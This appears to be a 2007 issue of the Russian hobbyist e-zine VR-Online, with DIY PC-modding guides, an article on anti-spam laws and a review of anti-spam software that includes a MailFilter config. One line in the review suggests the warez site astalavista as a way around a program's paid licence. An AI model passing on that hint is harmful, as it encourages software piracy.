Программирование DLL Приложения для мобилы своими руками RSS Reader на С# Переполнение буфера в профиле Фишки по работе с БД от Innok + многое другое
Intro Вот и наступила долгожданная весна. На улице уже стало понастоящему тепло, работать/учиться становится влом, душу тянет на природу J. Для меня эта весна не совсем приятная, т.к. я немного заболел и впервые за несколько лет по-настоящему полежал в больнице. Ощущение от пережитого просто ужасное, и я надеюсь, что из вас никто этого не удосужится. Скоро у VR-Online будет очередной день рождение. За все это время проект пережил многое: смена адреса, несколько дизайнов, довольно большое количество участников, взлом, etc. В некоторые времена VR было особенно тяжело – многие думали, что проект уже окончательно мертв, но все ошибались. Признаюсь честно, однажды и я почти поверил, что пришел конец эпохе VR. Это было в 2005 году, когда наш сайт перенес взлом и все тимовцы стали покидать проект. В то время я и сам отошел от дел, лишь изредка заглядывал на сайт. Как хорошо, что я ошибся, и наш любимый сайт до сих пор жив. Слухи о смерти VR не растворяются до сих пор. На нашем форуме многие уже начинали об этом задумываться. Завязалась настоящая баталия, в которой многие приняли участие. С того времени прошло почти два месяца. Весь состав VR пытался исправить эту ситуацию и заставить всех убедить, что заморозка сайта – временное явление. За это время в нашу группу влилось несколько человек: GRIBNIC, innok, lord_of_fear, tripsin. Появилась RSS-лента новостей и форума (спасибо Hamper). Новости стали по-настоящему приносить пользу, теперь они обновляются по несколько раз в день (спасибо Lord_of_fear) и рассказывают о самом интересном из виртуального мира. Заверяю однозначно, мы не дадим проекту умереть. Ему предстоит отметить еще не один день рождения и сменить не один состав участников J. Забегая вперед, скажу. Скоро дизайн VR обновится. Человек с именем Romul сделал достойный вариант дизайна всего сайта, и я уже начинаю потихоньку приводить сайт к новому виду. На прошлых выходных я слил с нашего сервера все сценарии и теперь переделываю их для работы с новом дизом. Ждать осталось совсем немного, а пока приятного чтения! Май 2007, Spider_NET
INFO ИДЕЯ: Флёнов Михаил (Horrific) РЕДАКТОР: Neon_Kaligula, Spider_NET ГРАФИКА: Колмаков Андрей aka Slider
VR-Team: innok, LittleBudda, Lord_of_fear, Neon_Kaligula, Spider_NET, tripsin
INTERNET: WWW: http://www.vr-online.ru E-MAIL: mail@vr-online.ru
Данный журнал распространяется в виде PDF файлов. Вы можете выкладывать номера на любые носители без изменения внешнего вида журнала, без перевода в другие форматы, без изменения самого файла. В журнал запрещается вносить изменения. Перепечатка материалов запрещена. Журнал распространяется бесплатно, и ты можешь скачать его с нашего сайта, поэтому мы не видим смысла в перепечатывании материалов. Если ты хочешь стать автором журнала, то присылай свою статью на наш e-mail, и мы обязательно включим её в очередной номер.
Содержание ЖЕЛЕЗНАЯ ЗОНА .............................................................................. 3 КАК СДЕЛАТЬ КРУГЛЫЙ ШЛЕЙФ?.............................................................................................................................................4
БЕЗ РАМКИ...................................................................................... 11 ЗАКОН ПРОТИВ СПАМА ..........................................................................................................................................................12
SOFT ЗОНА ...................................................................................... 15 ОБЗОР ПРОГРАММ ДЛЯ БОРЬБЫ СО СПАМОМ........................................................................................................................16
ЗОНА ТВОРЧЕСТВА ........................................................................ 22 ONLINE ..................................................................................................................................................................................23 VR-ONLINE: КАК ЭТО БЫЛО?................................................................................................................................................26
КОДИНГ ........................................................................................... 30 RSS-ЧИТАЛКА НА C# СВОИМИ РУКАМИ .................................................................................................................................32 ШИФРУЙТЕ СТРОКИ, ШУРА! ..................................................................................................................................................37 C#: ОПТИМИЗАЦИЯ. PART 2..................................................................................................................................................43 НА ПАСКАЛЕ ДЛЯ МОБИЛЫ ....................................................................................................................................................48 CОЗДАНИЕ ФОРМ НА MIDLETPASCAL ..................................................................................................................................50 ПРОГРАММИРОВАНИЕ DLL ...................................................................................................................................................54 СБОР СПАМ-ЛИСТА................................................................................................................................................................76 РАЗБИРАЕМСЯ С ПЕРЕПОЛНЕНИЕМ БУФЕРА ..........................................................................................................................90
БАЗЫ ДАННЫХ ............................................................................... 93 ХРАНИМЫЕ ПРОЦЕДУРЫ И ПРЕДСТАВЛЕНИЯ В IB/FB............................................................................................................94 ОБХОДИМСЯ БЕЗ ПРЕДСТАВЛЕНИЙ .....................................................................................................................................101
Железная зона Ø Круглый шлейф своими руками (Copyright: GRIBNIC) Итак, в этой статье я хотел бы рассказать и показать, как сделать круглый шлейф. Для того чтобы проделать эту работу, нам надо купить шлейф. В принципе, можно не покупать, он и так есть в системной блоке. Покупка нового шлейфа просто подстрахует Вас в том случае, если Вы не справитесь с поставленной задачей. Для чего же нужен круглый шлейф? Некоторые люди делают или покупают уже готовые круглые шлейфы для красоты, чтоб места меньше занимал, чтоб охлаждение лучше было. Так вот, я же решил сделать круглый шлейф исключительно для того, чтобы было лучше охлаждение, чтоб не препятствовать холодному потоку воздуха, обдувать внутренности системного блока.
Ø Подключение ЖКИ-модуля через LPT (Copyright: GRIBNIC) В этой статье я хотел бы рассказать и показать, как подключить LCD к компьютеру по LPT порту. Также в Интернете существуют и другие статьи на данную тематику, но я бы хотел представить Вам свой вариант данного мода. Вы спросите, зачем это все надо? Ответ прост. Целью данного мода является непосредственно сделать Ваш компьютер более стильным, непохожим на другие, и самое главное - предоставить пользователю полную информацию о ПК.
Как сделать круглый шлейф? Итак, в этой статье я хотел бы рассказать и показать, как сделать круглый шлейф. Для того чтобы проделать эту работу, нам надо купить шлейф. В принципе, можно не покупать, он и так есть в системной блоке. Покупка нового шлейфа просто подстрахует Вас в том случае, если Вы не справитесь с поставленной задачей. Для чего же нужен круглый шлейф? Некоторые люди делают или покупают уже готовые круглые шлейфы для красоты, чтоб места меньше занимал, чтоб охлаждение лучше было. Так вот, я же решил сделать круглый шлейф исключительно для того, чтобы было лучше охлаждение, чтоб не препятствовать холодному потоку воздуха, обдувать внутренности системного блока. Для того чтоб сделать круглый шлейф нам понадобится: • • • •
1) Шлейф (я взял IDE) 2) Нож для бумаги 3) Хорошее освещение 4) Изолента
Начинаем делать круглый шлейф С помощью ножа для бумаги делаем прорези между проводами на шлейфе, примерно на 2 сантиметра. Делайте это аккуратно, чтобы не повредить провода и не пораниться. После того как вы закончите делать прорези, нужно будет отделить их друг от друга вдоль шлейфа. Конечно же, можно было бы не отделять каждый провод, а, например, через каждые 5 штук, но в итоге у Вас получился бы не очень мягкий шлейф, и возникла бы трудность с подключением. После этого у Вас должно получиться следующее:
Надеюсь, у Вас эта часть работы получилась. Теперь Вам необходимо взять изоленту и обмотать ею шлейф. Можно, конечно, использовать оплетку, которая придаст шлейфу более красивый вид, но так как я делал его для того, чтоб улучшить охлаждение системного блока, а не для того, чтоб смотреть на него, я использовал изоленту. В конечном итоге у Вас должна получиться такая вот вещь:
Видите разницу между обычным и круглым шлейфами. Согласитесь, что площадь, которую он теперь занимает в системном блоке, гораздо меньше, что в свою очередь способствует свободному циркулированию потокам воздуха внутри системного блока. Вот и все. Успехов Вам.
Автор данной статьи не несет ответственности за причиненный ущерб, испорченную мебель, оборудование и прочих предметов находящихся в доме, а также полученные травмы при работе со шлейфом. Copyright: GRIBNIC E-Mail: xlsasha@mail.ru
Подключение ЖКИ-модуля по LPT Здравствуйте, уважаемые читатели. В этой статье я хотел бы рассказать и показать, как подключить LCD к компьютеру по LPT порту. Также в Интернете существуют и другие статьи на данную тематику, но я бы хотел представить Вам свой вариант данного мода. Вы спросите, зачем это все надо? Ответ прост. Целью данного мода является непосредственно сделать Ваш компьютер более стильным, непохожим на другие, и самое главное - предоставить пользователю полную информацию о ПК. Для осуществления данного мода нам потребуется: • • • • • • •
Паяльник Припой (олово) Канифоль Кабель LPT ЖКИ-модуль Molex типа «мама/папа» Подстроечный резистор 10кОм
Весь этот список можно приобрести в различных электронных магазинах и на радиорынках. Хочу заметить, что цены на радиорынках будут меньше чем в магазинах, но, как гласит пословица «Скупой платит дважды», можно сделать вывод. Итак, начинаем воплощать в жизнь наш девайс. Для начала нужно взять кабель, снять с него короб и отпаять провода. Для того чтоб легко снять защитный короб с кабеля, на нем расположены специальные прищепки, за счет которых он крепится! Так вот, чтобы не повредить его, нужно слегка отогнуть их с обратной стороны, и тогда он с легкостью откроется!
Для данного мода я использовал символьный ЖКИ-модуль 20х2 (символов в строке строк).
х
количество
Для того чтобы начать паять нам потребуются схема и таблица для более полного понимания того, что от Вас требуется. Вот они:
Контакты на ЖКИ-модуле 1 2 3
Припаивать к Земля (черный провод на Molex) +5V (красный провод на Molex) Земля (черный провод на Molex или на подстроечный резистор)
4 5
Контакт 16 на LPT Земля
6 7 8 9 10 11 12 13 14
Контакт 1 на LPT Контакт 2 на LPT Контакт 3 на LPT Контакт 4 на LPT Контакт 5 на LPT Контакт 6 на LPT Контакт 7 на LPT Контакт 8 на LPT Контакт 9 на LPT
Функции Земля Питание Регулятор контраста дисплея. Заземление дает максимальный контраст. Для плавной регулировки нужно использовать подстроечный резистор 10кОм. Выбор регистра Селектор Read/Write. Так как мы не собираемся ничего считывать с ЖКИ, то просто заземляем его. Это позволит постоянно держать ЖКИ в режиме Write. Enable - Strobe D0 D1 D2 D3 D4 D5 D6 D7
Так, со схемой и таблицей мы ознакомились, теперь мы слегка перепаяем провода на Molex`е. Выглядеть это должно примерно так:
Хочу заметить, перед тем как спаивать провода вместе и припаивать к контактам на LPT и ЖКИмодуль их необходимо облудить. Это связано не с тем, что так надо, а с тем, что так паять становится удобней. Так, с Molex`ом мы закончили, теперь надо припаять к нему подстроечный резистор на 10кОм. В итоге у Вас должна получиться такая вещь:
Теперь Вы сможете плавно регулировать контраст Вашего ЖКИ-модуля. Во избежание короткого замыкания и последующих проблем, необходимо изолировать контакты. После того как Вы закончите припаивать провода к подстроечному резистору, можно будет отложить эту часть работы в сторону, она нам пока не понадобится. Теперь нам следует припаять провода от кабеля к LPT разъему. Как я уже говорил, перед пайкой нам необходимо облудить провода для достижения лучшего эффекта припоя к контактам. Хочу заметить, что еще не мешало бы купить запасной конектор для LPT на тот случай, если с первым не получится достичь нужной цели. Как только Вы припаяли провода к LPT, необходимо записать на листок бумаги, какой цвет провода был припаян к каждому контакту. После того как Вы закончите припаивать провода к контактам на LPT у Вас должно получиться следующее:
Теперь начинается самая интересная часть работы – это припой проводов к контактам на ЖКИмодуль. Будьте аккуратны, не перегрейте ЖКИ-модуль. Не стоит торопиться. Нужно делать все тщательно, следите, чтоб контакты не замыкались между собой. После того как Вы закончите припаивать провода к контактам на ЖКИ-модуль, можно будет считать, что половина работы проделана. Хочу обратить Ваше внимание на желтый провод, который фигурирует в моих фотографиях. Этот желтый провод нужно считать как черный, это было сделано из-за того, что у меня все черные провода закончились, вот и пришлось припаивать желтый, и поэтому он считается землей. В итоге у Вас должно получиться так:
Теперь останется привести провода в порядок (например, обмотать изолентой) и можно подключать к компьютеру. Для настройки ЖКИ-модуля я использовал программу Smartie51. Она очень проста и понятна. С помощью нее можно использовать различные скрины, а их в ней много. Но вот в принципе и все. Успехов Вам.
Автор данной статьи не несет ответственности за причиненный ущерб, испорченную мебель, оборудование и прочих предметов находящихся в доме, а также полученные травмы при работе с ЖКИ-модулем. Copyright: GRIBNIC E-Mail: xlsasha@mail.ru
Без рамки Ø Закон против спама (Copyright: Spider_NET) Все привыкли, что от спама можно защититься только с помощью специальных программ. Но это не так. В любом государстве права человека охраняются законом, более того, они нам гарантированы. Так почему бы нам не отстаивать свои права в киберпространстве непосредственно с помощью закона?
Закон против спама Все привыкли, что от спама можно защититься только с помощью специальных программ. Но это не так. В любом государстве права человека охраняются законом, более того, они нам гарантированы. Так почему бы нам не отстаивать свои права в киберпространстве непосредственно с помощью закона? Для простого человека это труднореализуемо и зачастую невыгодно. К тому же так повелось, что в нашей стране половина населения вообще не знает о существовании жизненно необходимых законов. Этим и пользуются все, начиная от мелких продавцов и заканчивая самими чиновниками. Мы расскажем про законы, с помощью которых можно пригвоздить спамера к стенке (при условии, что он будет обнаружен нашими доблестными органами), и про законы, которые принимаются в других странах для борьбы с рекламным мусором. Наша страна всегда отличалась тормознутостью: это касается почти всех сфер деятельности, в том числе и принятия нужных законов. У нас обычно первым делом принимают те законы, которые выгодны государству, а не его гражданам. Закона, который должен был защищать нас от нежелательных рекламных рассылок (речь идет непосредственно об электронных рассылках), не было очень долгое время. И вот настал день, когда в России внесли кардинальные поправки в закон «О рекламе». В нем есть статья (номер 18), нормы которой призваны защищать нас от действий спамеров. Согласно этой статье, никто не имеет права заниматься рассылкой рекламы без согласия ее получателя. То есть, пока ты не разрешишь спамеру слать тебе рекламу, он не имеет права этого делать. Если же он все-таки отправил тебе письма без разрешения, то при первом твоем желании он должен прекратить рассылку. В противном случае происходит нарушение конституционных прав гражданина, что считается очень серьезным преступлением. Это касается не только интернета, но и сотовой связи. До внесения этой поправки (года полтора назад) у операторов было в моде рассылать смс с рекламой различного мультимедийного контента. За нарушение данной статьи не установлена санкция. Но не стоит думать, что если в законе не указана мера ответственности за преступление, то его можно не соблюдать. Данная статья является бланкетной, то есть отсылает нас к другим источникам – в частности, к Кодексу об административных правоотношениях и Гражданскому кодексу. А вот благодаря этим сборникам норм можно по-разному повернуть ситуацию. То есть если ты хочешь проучить пойманного спамера, то можешь в своем иске описать все нарушенные им права. Если внимательно подойти к этому вопросу (проштудировав перечисленные кодексы), то в суде можно изрядно потрепать преступника. Вроде все хорошо, но как обстоят дела на практике? В обычной жизни все не так радужно. Конечно, все уважающие себя крупные компании изучили закон и придерживаются его рамок. Хуже дела обстоят с интернетом. Спамеры никак не отреагировали на этот закон, и рассылок меньше не стало. Наоборот, спамеры стали даже писать в конце писем извинения и инструкцию, как исключить свой адрес из их базы. Как правило, после проделанных действий спама в ящике не становится меньше – его количество только начинает увеличиваться, потому что, написав письмо спамеру, ты автоматически подтверждаешь свою активность. Спамер узнает, что ты проверяешь свой ящик и читаешь письма рекламного характера, а значит, тебе можно высылать чуточку больше рекламы. Почему же нормы закона не действуют в полную силу? Порой кажется, что проблема заключается в нашем менталитете. В большинстве случаев мы привыкли на все закрывать глаза и мириться с происходящим. Мы не хотим отстаивать свои права в суде, мы не хотим шевелиться. Конечно, речь идет не об обычных пользователях, которые замучились вычищать свои ящики от спама, а о крупных компаниях, у которых есть профессиональные юристы, наученные борьбе с нарушителями
гражданских прав. Не факт, что это сразу поможет, но это, как минимум, станет катализатором для всех государственных органов, которые занимаются защитой наших прав. Чем больше мы будем обращаться в суд за защитой своих прав, тем быстрее будут совершенствоваться нормы, которые направлены на их защиту. Если посмотреть на опыт западных стран, то станет ясно, как они борются с проблемой спама. Делается это просто – при помощи граждан. Западные государства гораздо серьезней относятся к защите интересов своих людей. Посмотри ленты новостей, где чуть ли не каждую неделю появляется несколько новостей типа: «Такой-то спамер был приговорен к тюремному заключению». В отличие от России, где за распространение спама предусмотрена только гражданская и административная ответственность, в других странах спамеров могут упрятать за решетку. А это лишний повод для нашего спамера начихать на закон.
Китай Проблеме спама уделяется не последнее место, да и вообще китайцы всегда основательно подходят к различным проблемам. Если ты регулярно читаешь новости, то должен был слышать о всяких громких событиях в информационном мире, где главным героем был Китай: ограничение доступа к Google, ограничение доступа к Wikipedia и так далее. Со спамом та же ситуация. В начале 2006 года китайское правительство приняло закон о запрете спама. В отличие от нашего закона «О рекламе» в китайской версии все нормы закона относятся к распространению рекламы непосредственно через информационные технологии. Исполнение законов во многом зависит от меры наказания за их несоблюдение, а в Китае это особенно актуально, так как там до сих пор не отменена смертная казнь.
США США — родители интернета, а, следовательно, все последствия неправильного воспитания чада в первую очередь проявляются именно в этой стране. Вирусные эпидемии, самый большой поток спама и другие гадости зарождаются в Америке. Это - первая по объему рассылаемого спама страна. Как известно, американское правительство с паранойей относится ко всякого рода угрозам и сразу старается закрепить все законодательно. Проблема спама - не исключение. В США принят ряд законопроектов, в которых указана ответственность за рассылку спама. Система наказаний очень гибка: можно отделаться простым предупреждением, а можно заработать срок с огромным штрафом. И в последнее время самое распространенное решение судей в отношении спамера это штраф + тюремное заключение. Причем штрафы бывают огромными. В Америке вообще все любят защищать свои права. У них чуть ли не каждый пятый обращается в суд из-за какой-нибудь мелочи. Что касается профилактики спама, то компании-гиганты постоянно подают иски на спамеров. Среди таких компаний всем известная Microsoft, которая вообще помешана на исках — практические все споры MS решает исключительно в суде.
Австралия За распространение спама в Австралии в качестве наказания предусмотрен штраф. Причем сумма штрафа довольно велика. Например, в первых днях ноября в Австралии был пойман спамер. Его вина была полностью доказана, в качестве меры наказания был применен штраф в размере 4,5 миллионов
долларов. Неплохо, да? Если бы в нашей стране были такие же суровые санкции, то, скорее всего, спамеров стало бы меньше.
Германия В Германии ситуация со спамом не очень хорошая, точнее ужасная. Причина всему — отсутствие законопроекта о спаме, из-за этого немецкие спамеры - одни из самых активных. В ноябре 2006 компания Microsoft подала несколько исков на немецких спамеров, и по одному из них суд вынес решение, в котором спамера обязали выплатить штраф. Размер штрафа неизвестен, но я подозреваю, что его сумма немаленькая. P.S. Простой пользователь, поставь какой-нибудь спам-фильтр, и не забивай себе голову. Так ты сэкономишь свое время и нервы :).
ЗАКОНОПРОЕКТЫ БУДУЩЕГО В 2004 году у какого-то умного человека появилась мысль: «а почему бы не бороться со спамом вместе?». Посидел он, подумал и решил пригласить разные страны для обдумывания проблемы спама. Государств, желающих вступить в такой проект, оказалось достаточно большое количество: США, Великобритания, Германия, Япония. С 2006 года к проекту присоединилась и Россия. Цель проекта – совместная разработка законов, направленных на борьбу со спамом. Идея подобного проекта достаточно перспективна, так как если в каждой стране будут приблизительно одни и те же нормы, обеспечивающие защиту от спама (в идеале проблема будет регулироваться нормами международного права), то спамерам будет трудней уйти от закона. Иначе весело получается: в одной стране за спам в качестве наказания предусмотрено 10 лет тюрьмы, а в другой - всего лишь штраф в 10 мротов.
Copyright: Spider_NET E-Mail: spider_net@inbox.ru ICQ: 297740818
Статья принадлежит журналу Спец Хакер, www.xakep.ru, www.glc.ru
SOFT зона Ø Обзор программ для борьбы со спамом (Copyright: Spider_NET) Утро. Ты просыпаешься после сладкого сна, включаешь компьютер, подключаешься к сети и собираешься проверить свою мыльницу. После успешной закачки писем настроение идет на убыль: из большого количества писем лишь два от твоих друзей, все остальные – чистый спам.
Обзор программ для борьбы со спамом Утро. Ты просыпаешься после сладкого сна, включаешь компьютер, подключаешься к сети и собираешься проверить свою мыльницу. После успешной закачки писем настроение идет на убыль: из большого количества писем лишь два от твоих друзей, все остальные – чистый спам. Тебя пытаются убедить купить супер-пупер гламурную сумочку за пару тысяч американских президентов... Размеренно удаляешь ненужный мусор. Но завтра все повторится. Что же делать? Неужели придется мучиться так каждый день? Срочно нужно обзавестись необходимым софтом и забыть о проблеме. Хотя, даже при использовании спецпрограмм ты не убережешь себя на 100%. Спамеры тоже не сидят на месте и изучают подобный софт. Ведь если они не будут совершенствовать приемы рассылки рекламы, то просто останутся без работы, а, следовательно, и без денег. Поэтому, как бы ты ни пытался бороться со спамом, в сухую все равно не выиграть. Но можно попытаться выжать максимум из доступного.
Spamoed 4.6 Размер: 1,7 Мб www.spamoed.com Spamoed родом из России, и создан для борьбы преимущественно с русским спамом. По заверениям разработчиков, Spamoed — послушный, обладает феноменальной памятью (поддерживает любое количество почтовых акаунтов), редко ошибается в принятых решениях, не требователен к месту обитания, быстрый как молния и вообще вундеркинд. Так ли это на самом деле? Первое, что бросается в глаза после установки, – внешность. Разработчики здесь явно переборщили. Программы, которые выполняют серьезные задачи, должны иметь стандартный фейс, а не быть раскрашены как клоуны. Но интерфейс — все-таки дело вкуса, посмотрим на методы борьбы со спамом, которыми обладает Spamoed. Spamoed, как и полагается подобному ПО, работает с известными почтовыми клиентами. То есть он выступает посредником между твоим e-mail клиентом и почтовым сервером. Для успешного сотрудничества его нужно настроить соответствующим образом. Spamoed бьется по правилам. Правила ты можешь создать вручную или натаскать Спамоеда на конкретных примерах. Рекомендуется использовать первый способ, так как в этом случае можно быть уверенным, что Спамоед не удалит важных писем, ошибочно приняв их за спам. В правиле, к примеру, ты можешь указать, чтобы осуществлялся поиск некоторых часто употребляемых спамерами слов, а письма их содержащие помечались как спам. При желании можешь объединять несколько условий. Чтобы повысить эффективность работы, рекомендуется создать белый список, в котором должны быть адреса твоих друзей и тех людей, с которыми ты ведешь постоянную переписку. В этом случае ты быстрее научишь спамоеда отличать важные письма от спама. Настроив Spamoed, ты избавишься от рутинных действий по удалению спама. В твой ящик будут попадать только нужные письма. Если ты используешь настройки по умолчанию, то перед анализом Spamoed скачивает все письма с сервера, а уже потом их анализирует. Если экономишь трафик (читая почту, к примеру, через сотовый), поковыряйся в настройках — можно заставить Spamoed не
скачивать письма, а проводить их анализ по заголовкам. Но будь осторожен, так как неграмотно составленные фильтры могут лишить тебя писем, которые не являлись спамом. Еще одна возможность – детектор вирусов. Спамоед имеет собственную базу с сигнатурами известных вирусов. Обнаружив в письме враждебное вложение, спамоед сразу удалит мессагу. Антивирусная база периодически обновляется, так что возможность детектора вирусов можно взять на заметку. Преград на пути счастья две. Первая – платность программы (хотя astalavista может помочь). Но в demo-версии недоступно множество возможностей программы, в частности, ты не можешь создавать правила, которые содержат более одного условия. А эта возможность жизненно необходима. Вторая – обучаемость программы. Чтобы почувствовать все прелести работы Спамоеда, придется потратить некоторое количество драгоценного времени на настройку. Если поторопиться, вместе со спамом будут удаляться нужные письма. Если отнестись наплевательски, эффект, естественно, будет нулевым.
Spam Punisher 2.41 Размер: 515,2 Кб www.spampunisher.com Spam Punisher не содержит системы фильтров и прочих привычных вещей для подобного рода программ. Как же тогда он работает? Оказывается, практически у каждого провайдера есть специальные адреса, на которые принимаются жалобы о спаме. Эту возможность и использует Spam Punisher. Тебе необходимо скопировать заголовок письма со спамом и вставить его в окно программы. SP разберет весь заголовок по частям, вытащит адрес отправителя, с которого пришел спам, и составит для службы поддержки письмо, в котором будет написано примерно следующее: «Один из ваших юзеров рассылает спам. Примите, пожалуйста, меры». Также в жалобное письмо SP вставит IP-адрес отправителя. После чего останется только ждать действий службы поддержки. Программа реально полезна в тех случаях, когда спам валится с одного почтового «релея». В этом случае есть шанс, что служба поддержки отреагирует и пресечет дальнейшие попытки рассылки спама через свой сервер.
WinAntiSpam Размер: 2.1 Мб www.winantiaspam.ru По сравнению со Spam Punisher это просто титан. У этой программы примерно одинаковый набор функций со Spamoed'ом. WinAntiSpam одинаково хорошо работает с TheBat! и OE. Основной принцип работы – посредничество между почтовым клиентом и почтовым сервером. Помимо уже привычных правил, в WinAntiSpam есть подтверждение отправителем отправленного им письма. После того, как на почтовый сервер тебе приходит письмо, его скачивает WinAntiSpam, извлекает адрес отправителя и пишет ему запрос (текст которого ты можешь заготовить сам). Если отправитель ответит на письмо, сгенерированное WinAntiSpam, то, соответственно, ты его получишь. А если же нет, то WinAntiSpam будет ждать n-ое количество дней, после чего удалит это письмо и внесет адрес отправителя в черный список. Неплохо, правда? Гораздо надежнее любых фильтров.
Если ты регулярно принимаешь на мыло вопросы от пользователей, то это фича придется как нельзя кстати. Человек, которому нужен ответ на вопрос, получив запрос от WinAntiSpam, непременно ответит на него. В результате хорошо всем. Минус, наверное, только один: иногда человек не может подтвердить, что отправленное им письмо не спам. На это могут быть разные причины, самая банальная – отсутствие постоянного доступа к Сети. WinAntiSpam также позволяет создавать правила для фильтрации. Ты можешь внести ключевые фразы (как в Spamoed’е), по которым WinAntiSpam будет распознавать и метить/удалять спам. Еще одна возможность WinAntiSpam — блокировка писем по доменным зонам. Скажи, приятель, у тебя есть друзья в США, Австралии и так далее? Если нет, то можешь смело внести в запрещенный список домены этих стран. Таким образом, ты больше не будешь получать письма с рекламой, скажем, с xxx@provider.us.
SpamBlocker 2.3.09 Размер: 1,6 Мб www.spam-blocker.adscleaner.com SpamBlocker — еще один продукт от наших разработчиков. Скорей всего, им тоже надоел спам и они решили с ним бороться более жестко. В отличие от WinAntiSpam и Spamoed, эта программа не является посредником. Она работает независимо. Для работы с SpamBlocker тебе потребуется ввести в нее данные своего почтового ящика и настроить правила, после чего о программе можно в принципе забыть. SpamBlocker также имеет возможность создавать правила. На них, собственно, и строится вся его работа. При добавлении новой учетной записи SB сразу же создает стандартный набор правил: белый список адресатов, спам по словам, черный список адресатов, спам по отправителю. В принципе, стандартный набор для подобных программ. Однако если приглядеться, то можно увидеть, что уже есть готовые списки для правил. То есть тебе не придется добавлять самому часто употребляемые спамерами слова. К тому же этот список можно обновлять через интернет. Это огромный плюс, так как настройка правил сводится лишь к нескольким щелчкам мыши, минуя набивание слов, от которых и так уже тошнит. К минусам программы можно отнести отсутствие возможности создавать правила для прикрепленных к письмам файлов. Ведь в последнее время спамеры стали писать рекламный текст не в теле письма, а создавать картинки с текстом. С таким спамом бороться сложнее, особенно если тема письма содержит осмысленный текст.
Защита от спама прямо под носом Разработчики почтовых клиентов стараются встраивать в свои программы простенькие модули анализаторов спама. Конечно, они уступают возможностям программ, описанных в статье, но они помогут разгрести спам в твоем ящике. Если в качестве почтового клиента используешь Outlook Express, то зайди в «Сервис-> Правила для сообщений-> Почта». В появившимся окне можешь создать правила для входящей почты, а также черный список адресатов. Создание правил в OE напоминает аналогичные действия, выполняемые в Спамоеде. Даже окно, в котором создается новое правило, выглядит аналогично, только возможных условий меньше.
Пользователям TheBat! для того, чтобы настроить защиту от спама, придется потратить чуть больше времени, так как им надо скачать специальный плагин — www.spamprotexx.ru. Остальное — по аналогии.
а как же Linux Если ты линуксоид и тебе нужна достойная и в тоже время простая программа для борьбы со спамом, советуем обратить внимание на MailFilter (http://mailfilter.sourceforge.net). Установка не вызывает особых проблем, никаких дополнительных библиотек для компиляции MailFilter не требуется. После установки необходимо создать конфиг в своем домашнем каталоге. В качестве имени конфига укажи .mailfilterrc. У MailFilter нет графического интерфейса, а значит, все правила для фильтрации нужно прописывать ручками в конфиг. Как правильно составить конфигурационный файл, сказано в README.
ЛИСТИНГ Пример конфига для MailFilter LOGFILE = /home/Spider_NET/.log # Уровень взаимодействия с пользователем. Всего 6 уровней. Если ты не хочешь видеть # сообщения MF, то используй 1. Рекомендуется уровень 3 или 4. # 6-й уровень используй для тестирования новых правил, так как при #использовании этого # уровня MF будет выводить всю информацию о текущем состоянии. VERBOSE = 6 # Настройка учетной записи. MF поддерживает любое количество учетных записей. SERVER = USER = PASS = PROTOCOL = pop3 PORT = 110 # Различать регистр букв при фильтровании? REG_CASE = no # Тип применяемых регулярных выражений — основной или расширенный (extended | basic) REG_TYPE = basic # Максимальный размер письма. Письма большего размера будут удаляться. MAXSIZE_DENY = 1000000 #Далее идет описание правил DENY_NOCASE=^Subject:.*=\?Windows-1251\?Q\?.*=F1=EF=E0=EC\?= DENY = ^Subject:.*porno # Должен ли MF преобразовывать текст в нормальный вид. # ',L.E-G,A.L; ,C.A-B`L`E, +.B-O`X` ;D`E`S,C;R,A.MB;L,E.R-]'
# Если да, то текст будет таким:'LEGAL CABLE BOX DESCRAMBLER' which can be filtered. NORMAL = yes ALLOW = ^From:.*a_friend_with_account@any_provider_that_spams.org ALLOW = ^Subject:.*mailfilter
MF работает напрямую с почтовым сервером (это понятно, кстати, из конфига). MF нужно запускать до запуска почтового клиента. MF проверяет почту на спам со всех серверов, указанных в конфиге. MailFilter также определяет спам по созданным правилам, но главное отличие MF от подобных Windows-программ — поддержка регулярных выражений. Благодаря их использованию эффективность созданных правил выше. Другой плюс MF — возможность работать непосредственно на сервере, а значит, тебе не придется качать гору спама, тратя драгоценный трафик и время. Как и подобает спам-фильтру, MF позволяет создавать белые и черные списки отправителей. На добавленных в белый список отправителей не будут действовать все остальные правила, поэтому друзья могут слать тебе все что угодно. При добавлении правил в конфиг у тебя могут возникнуть проблемы с фразами на русском языке. Если просто вписать часто употребляемую спамерами фразу на русском, то MF начнет ругаться и откажется выполнять свою работу. Чтобы обойти это ограничение, можешь указать коды символов в hex-формате. Сначала указываешь кодировку, а потом коды символов через знак равенства. В результате все работает.
БОРЬБА СО СПАМОМ ОНЛАЙН Помимо прикладных программ для защиты от спама существуют онлайн версии. Идея их использования довольно интересна, так как от пользователя не требуется никаких специальных знаний и времени на настройку. Достаточно лишь зарегистрироваться в системе и получить специальный e-mail адрес, который будет выступать посредником. Наглядный пример. Для тебя создается специальный почтовый ящик (например spider_net@spamtest.ru). Затем в твоем реальном почтовом ящике необходимо настроить переадресацию на созданный ящик. После этого все письма с твоего ящика будут отправляться на ящик-фильтр, а с него - обратно тебе. После фильтрации ты получишь письмо с особой пометкой, по которой будет видно, спам это или нет. В качестве таких сервисов рекомендуем www.spamtest.ru от лаборатории касперского и www.spamooborona.ru от yandex.
Не попали в обзор В Сети можно еще найти вагон и маленькую тележку программ для борьбы со спамом. Но в основном все программы используют одни и те же способы, поэтому не имеет смысла качать кучу программ, которые отличаются только внешним видом.
SpamWasher (www.panicware.com) Для борьбы со спамом использует систему фильтров и черные списки. Как и WinAntiSpam, позволяет блокировать письма по доменным зонам. Сразу после установки программы создается внушительный список правил. Созданные правила по умолчанию ориентированы на борьбу с забугровым спамом, так как часто употребляемые спамерами фразы написаны преимущественно на английском языке. TheBat! не поддерживается.
AntiSpamer (www.antispamer.webs.com.ua) Работает по такому же принципу, как и SpamWasher.
SpamSweeper (www.pcprivacysoftware.com) Использует систему фильтров и списков. К тому же в программе предусмотрен детектор вирусов. Разработчики явно переборщили с яркими цветами, в результате программа больше похожа на новогоднюю елку.
WWW www.spamoborona.ru - проект, пропагандирующий борьбу со спамом www.spamtest.ru - онлайн проверка на спам www.spamprotexx.ru - антиспам-плагин для TheBat!
Итог Спам – это проблема, с которой необходимо бороться. Спамеры чуть ли не каждый день придумывают новые способы обхода фильтров, а программисты, в свою очередь, добавляют в свои программы какие-то уникальные фишки. Это война, и, скорее всего, она никогда не кончится. Поэтому выход только один — постоянно быть в курсе, своевременно обновлять ПО и стараться не допустить попадания в руки спамеров своего адреса.
Copyright: Spider_NET E-Mail: spider_net@inbox.ru ICQ: 297740818
Статья принадлежит журналу Спец Хакер, www.xakep.ru, www.glc.ru
